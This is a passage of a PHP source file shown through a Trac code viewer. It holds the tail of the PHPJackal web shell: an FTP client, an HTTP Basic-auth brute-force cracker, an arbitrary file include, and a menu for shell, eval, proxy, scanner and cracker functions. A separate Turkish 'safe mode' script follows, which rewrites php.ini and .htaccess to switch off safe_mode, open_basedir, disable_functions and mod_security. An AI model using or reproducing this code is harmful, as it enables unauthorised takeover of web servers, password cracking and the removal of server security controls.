bgcolor='#666666'><input type=text value='http://vburton.ncsa.uiuc.edu/wordlist.txt' name=url size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Get></form>$et</center>";}
|
|---|
| 1386 | }
|
|---|
| 1387 | function ftpclienT(){
|
|---|
| 1388 | global $t,$cwd,$hcwd,$errorbox,$et;
|
|---|
| 1389 | $td="<td bgcolor='#333333' width='50%'>";
|
|---|
| 1390 | if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){
|
|---|
| 1391 | $user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT'];
|
|---|
| 1392 | $con=ftp_connect($_REQUEST['hosT'],21,10);
|
|---|
| 1393 | if($con){
|
|---|
| 1394 | $ftp=ftp_login($con,$user,$pass);
|
|---|
| 1395 | if($ftp){
|
|---|
| 1396 | if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']);
|
|---|
| 1397 | if(!empty($_REQUEST['filE'])){
|
|---|
| 1398 | $file=$_REQUEST['filE'];
|
|---|
| 1399 | $mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII;
|
|---|
| 1400 | if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode);
|
|---|
| 1401 | elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode);
|
|---|
| 1402 | elseif(isset($_REQUEST['rM'])){
|
|---|
| 1403 | ftp_rmdir($con,$file);
|
|---|
| 1404 | ftp_delete($con,$file);
|
|---|
| 1405 | }
|
|---|
| 1406 | elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file);
|
|---|
| 1407 | }
|
|---|
| 1408 | $pwd=ftp_pwd($con);
|
|---|
| 1409 | $dir=ftp_nlist($con,'');
|
|---|
| 1410 | $d=opendir($cwd);
|
|---|
| 1411 | echo "<table border=0 style='border-collapse: collapse' width='100%'><tr>${td}Server:</td>${td}Client:</td></tr><form method=POST><tr>$td<input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td>$td<input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr>$td";
|
|---|
| 1412 | foreach($dir as $n)echo "$n<br>";
|
|---|
| 1413 | echo "</td>$td";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr>${td}Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td>$td<input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form>$et";
|
|---|
| 1414 | }else echo "$errorbox Wrong username or password$et";
|
|---|
| 1415 | }else echo "$errorbox Can not connect to server!$et";
|
|---|
| 1416 | }
|
|---|
| 1417 | else{
|
|---|
| 1418 | echo "<center>${t}FTP cilent:</td><form name=client method='POST'><td bgcolor='#333333'></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value=localhost name=hosT size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value=anonymous size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value=admin@nasa.gov name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et</center>";
|
|---|
| 1419 | }
|
|---|
| 1420 | }
|
|---|
| 1421 | function calC(){
|
|---|
| 1422 | global $t,$et,$hcwd;
|
|---|
| 1423 | $fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev');
|
|---|
| 1424 | if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
|
|---|
| 1425 | $to=$_REQUEST['to'];
|
|---|
| 1426 | echo "<center>${t}Output:<br><textarea rows='10' cols='64'>";
|
|---|
| 1427 | if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i})));
|
|---|
| 1428 | else echo $to($_REQUEST['input']);
|
|---|
| 1429 | echo "</textarea>$et</center><br>";
|
|---|
| 1430 | }
|
|---|
| 1431 | echo "<center>${t}Convertor:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Input:</td><td bgcolor='#666666'><textarea rows='10' name='input' cols='64'>";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#808080'>Task:</td><td bgcolor='#808080'><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>Crc32</option><option value=strrev>Reverse</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=decbin>Decimal to binary</option><option value=bindec>Binary to decimal</option><option value=dechex>Decimal to hex</option><option value=hexdec>Hex to decimal</option><option value=hex>ASCII to hex</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right><input class=buttons type=submit value=Convert>$hcwd</form>$et</center>";
|
|---|
| 1432 | }
|
|---|
| 1433 | function authcrackeR(){
|
|---|
| 1434 | global $errorbox,$et,$t,$hcwd;
|
|---|
| 1435 | if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
|
|---|
| 1436 | if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
|
|---|
| 1437 | $data='';
|
|---|
| 1438 | $method=($_REQUEST['method'])?'POST':'GET';
|
|---|
| 1439 | if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
|
|---|
| 1440 | spliturL($_REQUEST['target'],$host,$page);
|
|---|
| 1441 | $type=$_REQUEST['combo'];
|
|---|
| 1442 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
|
|---|
| 1443 | if($method=='GET')$page.=$data;
|
|---|
| 1444 | $dictionary=fopen($_REQUEST['dictionary'],'r');
|
|---|
| 1445 | echo '<font color=blue>';
|
|---|
| 1446 | while(!feof($dictionary)){
|
|---|
| 1447 | if($type){
|
|---|
| 1448 | $combo=trim(fgets($dictionary)," \n\r");
|
|---|
| 1449 | $user=substr($combo,0,strpos($combo,':'));
|
|---|
| 1450 | $pass=substr($combo,strpos($combo,':')+1);
|
|---|
| 1451 | }else{
|
|---|
| 1452 | $pass=trim(fgets($dictionary)," \n\r");
|
|---|
| 1453 | }
|
|---|
| 1454 | $so=fsockopen($host,80,$en,$es,5);
|
|---|
| 1455 | if(!$so){echo "$errorbox Can not connect to host$et";break;}
|
|---|
| 1456 | else{
|
|---|
| 1457 | $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
|
|---|
| 1458 | if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data);
|
|---|
| 1459 | $packet.="\r\n\r\n";
|
|---|
| 1460 | $packet.=$data;
|
|---|
| 1461 | fputs($so,$packet);
|
|---|
| 1462 | $res=substr(fgets($so),9,2);
|
|---|
| 1463 | fclose($so);
|
|---|
| 1464 | if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");}
|
|---|
| 1465 | }
|
|---|
| 1466 | }
|
|---|
| 1467 | echo 'Done!</font>';
|
|---|
| 1468 | }else echo "<center><form method='POST' name=form>${t}HTTP Auth cracker:</td><td bgcolor='#333333'><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target value=localhost size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
|
|---|
| 1469 | }
|
|---|
| 1470 | function openiT($name){
|
|---|
| 1471 | $ext=strtolower(substr($name,strrpos($name,'.')+1));
|
|---|
| 1472 | $src=array('php','php3','php4','phps','phtml','phtm','inc');
|
|---|
| 1473 | if(in_array($ext,$src))highlight_file($name);
|
|---|
| 1474 | else echo '<font color=blue><pre>'.htmlspecialchars(file_get_contents($name)).'</pre></font>';
|
|---|
| 1475 | }
|
|---|
| 1476 | function logouT(){
|
|---|
| 1477 | setcookie('passw','',time()-10000);
|
|---|
| 1478 | header('Location: '.hlinK());
|
|---|
| 1479 | }
|
|---|
| 1480 | ?>
|
|---|
| 1481 | <html>
|
|---|
| 1482 | <head>
|
|---|
| 1483 | <style>body{scrollbar-base-color: #484848; scrollbar-arrow-color: #FFFFFF; scrollbar-track-color: #969696;font-size:16px;font-family:"Arial Narrow";}Table {font-size: 15px;} .buttons{font-family:Verdana;font-size:10pt;font-weight:normal;font-style:normal;color:#FFFFFF;background-color:#555555;border-style:solid;border-width:1px;border-color:#FFFFFF;}textarea{border: 0px #000000 solid;background: #EEEEEE;color: #000000;}input{background: #EEEEEE;border-width:1px;border-style:solid;border-color:black}select{background: #EEEEEE; border: 0px #000000 none;}</style>
|
|---|
| 1484 | <meta http-equiv="Content-Language" content="en-us">
|
|---|
| 1485 | <script language="JavaScript" type="text/JavaScript">
|
|---|
| 1486 | function HS(box){
|
|---|
| 1487 | if(document.getElementById(box).style.display!="none"){
|
|---|
| 1488 | document.getElementById(box).style.display="none";
|
|---|
| 1489 | document.getElementById('lk').innerHTML="+";
|
|---|
| 1490 | }
|
|---|
| 1491 | else{
|
|---|
| 1492 | document.getElementById(box).style.display="";
|
|---|
| 1493 | document.getElementById('lk').innerHTML="-";
|
|---|
| 1494 | }
|
|---|
| 1495 | }
|
|---|
| 1496 | function chmoD($file){
|
|---|
| 1497 | $ch=prompt("Changing file mode["+$file+"]: ex. 777","");
|
|---|
| 1498 | if($ch != null)location.href="<?php echo hlinK('seC=fm&workingdiR='.addslashes($cwd).'&chmoD=');?>"+$file+"&modE="+$ch;
|
|---|
| 1499 | }
|
|---|
| 1500 | </script>
|
|---|
| 1501 | <title>PHPJackal (<?php echo $cwd; ?>)</title>
|
|---|
| 1502 | </head><body text="#E2E2E2" bgcolor="#C0C0C0" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC">
|
|---|
| 1503 | <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
|
|---|
| 1504 | <tr><td><a href=javascript:history.back(1)>[Back]</a> - <a href="<?php echo hlinK("seC=sysinfo&workingdiR=$cwd");?>">[Info]</a> - <a href="<?php echo hlinK("seC=fm&workingdiR=$cwd");?>">[File manager]</a> - <a href="<?php echo hlinK("seC=edit&workingdiR=$cwd");?>">[Editor]</a> - <a href="<?php echo hlinK("seC=webshell&workingdiR=$cwd");?>">[Web shell]</a> - <a href="<?php echo hlinK("seC=br&workingdiR=$cwd");?>">[B/R shell]</a> - <a href="<?php echo hlinK("seC=asm&workingdiR=$cwd");?>">[Safe-mode]</a> - <a href="<?php echo hlinK("seC=sqlcl&workingdiR=$cwd"); ?>">[SQL]</a> - <a href="<?php echo hlinK("seC=ftpc&workingdiR=$cwd"); ?>">[FTP]</a> - <a href="<?php echo hlinK("seC=mailer&workingdiR=$cwd"); ?>">[Mail]</a> - <a href="<?php echo hlinK("seC=eval&workingdiR=$cwd");?>">[Evaler]</a> - <a href="<?php echo hlinK("seC=sc&workingdiR=$cwd"); ?>">[Scanners]</a> - <a href="<?php echo hlinK("seC=cr&workingdiR=$cwd");?>">[Crackers]</a> - <a href="<?php echo hlinK("seC=px&workingdiR=$cwd");?>">[Pr0xy]</a> - <a href="<?php echo hlinK("seC=tools&workingdiR=$cwd");?>">[Tools]</a> - <a href="<?php echo hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href='".hlinK("seC=logout")."'>Logout</a>]";?></td></tr></table>
|
|---|
| 1505 | <hr size=1 noshade>
|
|---|
| 1506 | <?php
|
|---|
| 1507 | if(!empty($_REQUEST['seC'])){
|
|---|
| 1508 | switch($_REQUEST['seC']){
|
|---|
| 1509 | case 'fm':filemanageR();break;
|
|---|
| 1510 | case 'sc':scanneR();break;
|
|---|
| 1511 | case 'phpinfo':phpinfo();break;
|
|---|
| 1512 | case 'edit':if(!empty($_REQUEST['open']))editoR($_REQUEST['filE']);
|
|---|
| 1513 | if(!empty($_REQUEST['Save'])){
|
|---|
| 1514 | $filehandle=fopen($_REQUEST['file'],'w');
|
|---|
| 1515 | fwrite($filehandle,$_REQUEST['edited']);
|
|---|
| 1516 | fclose($filehandle);}
|
|---|
| 1517 | if(!empty($_REQUEST['filE']))editoR($_REQUEST['filE']);else editoR('');
|
|---|
| 1518 | break;
|
|---|
| 1519 | case 'openit':openiT($_REQUEST['namE']);break;
|
|---|
| 1520 | case 'cr':crackeR();break;
|
|---|
| 1521 | case 'dic':dicmakeR();break;
|
|---|
| 1522 | case 'tools':toolS();break;
|
|---|
| 1523 | case 'hex':hexvieW();break;
|
|---|
| 1524 | case 'img':showimagE($_REQUEST['filE']);break;
|
|---|
| 1525 | case 'inc':if(file_exists($_REQUEST['filE']))include($_REQUEST['filE']);break;
|
|---|
| 1526 | case 'hc':hashcrackeR();break;
|
|---|
| 1527 | case 'fcr':formcrackeR();break;
|
|---|
| 1528 | case 'auth':authcrackeR();break;
|
|---|
| 1529 | case 'ftpc':ftpclienT();break;
|
|---|
| 1530 | case 'eval':phpevaL();break;
|
|---|
| 1531 | case 'snmp':snmpcrackeR();break;
|
|---|
| 1532 | case 'px':pr0xy();break;
|
|---|
| 1533 | case 'webshell':webshelL();break;
|
|---|
| 1534 | case 'mailer':maileR();break;
|
|---|
| 1535 | case 'br':brshelL();break;
|
|---|
| 1536 | case 'asm':safemodE();break;
|
|---|
| 1537 | case 'sqlcl':sqlclienT();break;
|
|---|
| 1538 | case 'calc':calC();break;
|
|---|
| 1539 | case 'sysinfo':sysinfO();break;
|
|---|
| 1540 | case 'checksum':checksuM($_REQUEST['filE']);break;
|
|---|
| 1541 | case 'logout':logouT();break;
|
|---|
| 1542 | default: echo $intro;}}else echo $intro;
|
|---|
| 1543 | echo $footer;?></body></html>
|
|---|
| 1544 |
|
|---|
| 1545 |
|
|---|
| 1546 |
|
|---|
| 1547 | <?php
|
|---|
| 1548 | echo "<html>
|
|---|
| 1549 | <center><img border=2 src=http://desanboyamakinalari.com/jackal/1.JPG width=429 height=97><br>
|
|---|
| 1550 | <head>
|
|---|
| 1551 | <title>EXploit UIG Safe Mode</title>
|
|---|
| 1552 | <meta http-equiv='pragma' content='no-cache'>
|
|---|
| 1553 | </head><body>";
|
|---|
| 1554 |
|
|---|
| 1555 | $fp = fopen("php.ini","w+");
|
|---|
| 1556 | fwrite($fp,"safe_mode = Off
|
|---|
| 1557 | disable_functions =
|
|---|
| 1558 | safe_mode_gid = OFF
|
|---|
| 1559 | open_basedir = OFF ");
|
|---|
| 1560 | echo "<BR>[+] Guvenlik Kapalı<BR>[+] Yazmaya Basla (Php.ini) <BR>[+] Shellide Soktun Hadi İyisin <BR>[+] Yazsana ";
|
|---|
| 1561 | $fp2 = fopen(".htaccess","w+");
|
|---|
| 1562 | fwrite($fp2,"<IfModule mod_security.c>
|
|---|
| 1563 | SecFilterEngine Off
|
|---|
| 1564 | SecFilterScanPOST Off
|
|---|
| 1565 | SecFilterCheckURLEncoding Off
|
|---|
| 1566 | SecFilterCheckUnicodeEncoding Off
|
|---|
| 1567 | </IfModule> ");
|
|---|
| 1568 | echo " ";
|
|---|
| 1569 | ?>
|
|---|
| 1570 | <BR><BR><BR><BR>
|
|---|
| 1571 | <br>
|
|---|
| 1572 | Defacers güvenliği kurumu tarafından <a href="http://www.Reshack.Net">www.Reshack.Net<A> -- [C]oder By || JaCKaL ||
|
|---|
| 1573 | </center>
|
|---|
![(please configure the [header_logo] section in trac.ini)](/project/gtp/chrome/site/your_project_logo.png){kind=logo}
